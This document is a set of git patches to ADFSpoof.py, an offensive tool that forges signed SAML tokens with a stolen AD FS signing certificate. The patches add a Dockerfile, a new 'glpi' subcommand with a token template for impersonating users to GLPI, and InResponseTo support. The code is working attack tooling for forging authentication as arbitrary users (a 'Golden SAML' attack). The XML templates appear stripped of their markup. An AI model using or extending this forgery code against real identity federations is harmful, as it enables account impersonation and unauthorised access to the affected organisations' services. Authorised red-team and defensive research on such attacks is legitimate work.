From ba093134dc8325a252261f89b346be3c1ee2f941 Mon Sep 17 00:00:00 2001 From: requin_citron Date: Mon, 28 Apr 2025 18:09:14 +0200 Subject: [PATCH 1/4] dockerfile + patch template o365 --- Dockerfile | 10 ++++++++++ templates/o365.xml | 2 +- 2 files changed, 11 insertions(+), 1 deletion(-) create mode 100644 Dockerfile diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..5646607 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,10 @@ +FROM python:3.11.12-slim + +COPY . /app +WORKDIR /app + + +RUN pip install --no-cache-dir -r requirements.txt + + +ENTRYPOINT ["python", "/app/ADFSpoof.py"] \ No newline at end of file diff --git a/templates/o365.xml b/templates/o365.xml index b175e0f..7adf61d 100644 --- a/templates/o365.xml +++ b/templates/o365.xml @@ -1 +1 @@ -$TokenCreated$TokenExpiresurn:federation:MicrosoftOnlineurn:federation:MicrosoftOnline$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearer$UPN$NameIdentifierfalseurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearerurn:oasis:names:tc:SAML:1.0:assertionhttp://schemas.xmlsoap.org/ws/2005/02/trust/Issuehttp://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey +$TokenCreated$TokenExpiresurn:federation:MicrosoftOnlineurn:federation:MicrosoftOnline$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearer$UPN$NameIdentifierfalseurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearerurn:oasis:names:tc:SAML:1.0:assertionhttp://schemas.xmlsoap.org/ws/2005/02/trust/Issuehttp://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey From 2cd6c24e49c596a3b724a1d9211671d519282dbf Mon Sep 17 00:00:00 2001 From: requin_citron Date: Mon, 16 Mar 2026 09:43:26 +0100 Subject: [PATCH 2/4] Add GLPI command support and corresponding XML template for SAML token generation --- ADFSpoof.py | 35 +++++++++++++++++++++++++++++++++++ templates/glpi.xml | 28 ++++++++++++++++++++++++++++ 2 files changed, 63 insertions(+) create mode 100644 templates/glpi.xml diff --git a/ADFSpoof.py b/ADFSpoof.py index 4f43579..a7bfa80 100644 --- a/ADFSpoof.py +++ b/ADFSpoof.py @@ -49,6 +49,12 @@ def parse_args(): parser_generic_saml2.add_argument('--assertions', help='The XML assertions for the SAML token', default=None) parser_generic_saml2.add_argument('--config', help='JSON file containing generic args', default=None) + parser_generic_glpi = subparsers.add_parser('glpi') + parser_generic_glpi.add_argument('--endpoint', help='The destination/recipient attribute for SAML 2.0 token. Where the SAML token will be sent.', default=None) + parser_generic_glpi.add_argument('--nameid', help='The NameIdentifier attribute value', default=None) + parser_generic_glpi.add_argument('--rpidentifier', help='The Identifier for the Relying Party', default=None) + parser_generic_glpi.add_argument('--config', help='JSON file containing generic args', default=None) + parser_dump = subparsers.add_parser('dump') parser_dump.add_argument('--path', help='Filepath where the signing token will be output.', default='token.pfx') @@ -158,6 +164,34 @@ def get_module_params(command): } params.update(saml2_params) name_identifier = "ID" + + elif command == "glpi": + params = { + 'TokenCreated': token_created, + 'TokenExpires': token_expires, + 'AdfsServer': args.server, + 'AssertionID': args.assertionid, + 'SubjectConfirmationTime': subject_confirmation_time, + 'ResponseID': args.responseid, + 'AuthnInstant': authn_instant + } + + if args.config: + with open(args.config, 'r') as config_file: + data = config_file.read() + try: + glpi_params = json.loads(data) + except json.JSONDecodeError: + sys.stderr.write("Could not parse JSON config file for SAML2 token creation. Quitting.\n") + die() + else: + glpi_params = { + 'SamlEndpoint': args.endpoint, + 'NameID': args.nameid, + 'RPIdentifier': args.rpidentifier, + } + params.update(glpi_params) + name_identifier = "ID" return params, name_identifier @@ -180,6 +214,7 @@ def output_token(token, command): if args.command != 'dump': params, id_attribute = get_module_params(args.command) + print("=================",repr(id_attribute)) token = signer.sign_XML(params, id_attribute, args.algorithm, args.digest) if args.output: diff --git a/templates/glpi.xml b/templates/glpi.xml new file mode 100644 index 0000000..1a0c759 --- /dev/null +++ b/templates/glpi.xml @@ -0,0 +1,28 @@ + + http://$AdfsServer/adfs/services/trust + + + + + http://$AdfsServer/adfs/services/trust + + + $NameID + + + + + + + $RPIdentifier + + + + + urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport + + + + \ No newline at end of file From 27c3453f9d9afcd6161da5e218a4ff2861625beb Mon Sep 17 00:00:00 2001 From: requin_citron Date: Fri, 20 Mar 2026 17:04:44 +0100 Subject: [PATCH 3/4] Add InResponseTo attribute support in SAML response and update argument parser --- ADFSpoof.py | 7 +++++-- templates/saml2.xml | 30 +++++++++++++++++++++++++++++- 2 files changed, 34 insertions(+), 3 deletions(-) diff --git a/ADFSpoof.py b/ADFSpoof.py index a7bfa80..8228725 100644 --- a/ADFSpoof.py +++ b/ADFSpoof.py @@ -21,6 +21,7 @@ def parse_args(): arg_parser.add_argument('-v', '--verbose', help='Verbose Output', default=False) arg_parser.add_argument('--assertionid', help='AssertionID string. Defaults to a random string', default=random_string()) arg_parser.add_argument('--responseid', help='The Response ID. Defaults to random string', default=random_string()) + arg_parser.add_argument('--inresponseto', help='The InResponseTo attribute (ID from the SP AuthnRequest)', default=None) arg_parser.add_argument('-s', '--server', help='Identifier for the federation service. Usually the fqdn of the server. e.g. sts.example.com DO NOT include HTTPS://') arg_parser.add_argument('-a', '--algorithm', help='SAML signing algorithm to use', default='rsa-sha256') arg_parser.add_argument('-d', '--digest', help='SAML digest algorithm to use', default='sha256') @@ -143,7 +144,8 @@ def get_module_params(command): 'AdfsServer': args.server, 'SubjectConfirmationTime': subject_confirmation_time, 'ResponseID': args.responseid, - 'AuthnInstant': authn_instant + 'AuthnInstant': authn_instant, + 'InResponseTo': args.inresponseto or '' } if args.config: @@ -173,7 +175,8 @@ def get_module_params(command): 'AssertionID': args.assertionid, 'SubjectConfirmationTime': subject_confirmation_time, 'ResponseID': args.responseid, - 'AuthnInstant': authn_instant + 'AuthnInstant': authn_instant, + 'InResponseTo': args.inresponseto or '' } if args.config: diff --git a/templates/saml2.xml b/templates/saml2.xml index 263daab..ecfb7a7 100644 --- a/templates/saml2.xml +++ b/templates/saml2.xml @@ -1 +1,29 @@ -http://$AdfsServer/adfs/services/trusthttp://$AdfsServer/adfs/services/trust$NameID$RPIdentifier$Assertionsurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport \ No newline at end of file + + http://$AdfsServer/adfs/services/trust + + + + + http://$AdfsServer/adfs/services/trust + + + $NameID + + + + + + + $RPIdentifier + + + $Assertions + + + urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport + + + + \ No newline at end of file From 68e105dad03e0233113c4a59f45b0dd65741522a Mon Sep 17 00:00:00 2001 From: requin_citron Date: Fri, 20 Mar 2026 17:11:03 +0100 Subject: [PATCH 4/4] Add InResponseTo attribute to SAML response --- templates/saml2.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/saml2.xml b/templates/saml2.xml index ecfb7a7..d523f20 100644 --- a/templates/saml2.xml +++ b/templates/saml2.xml @@ -1,4 +1,4 @@ - http://$AdfsServer/adfs/services/trust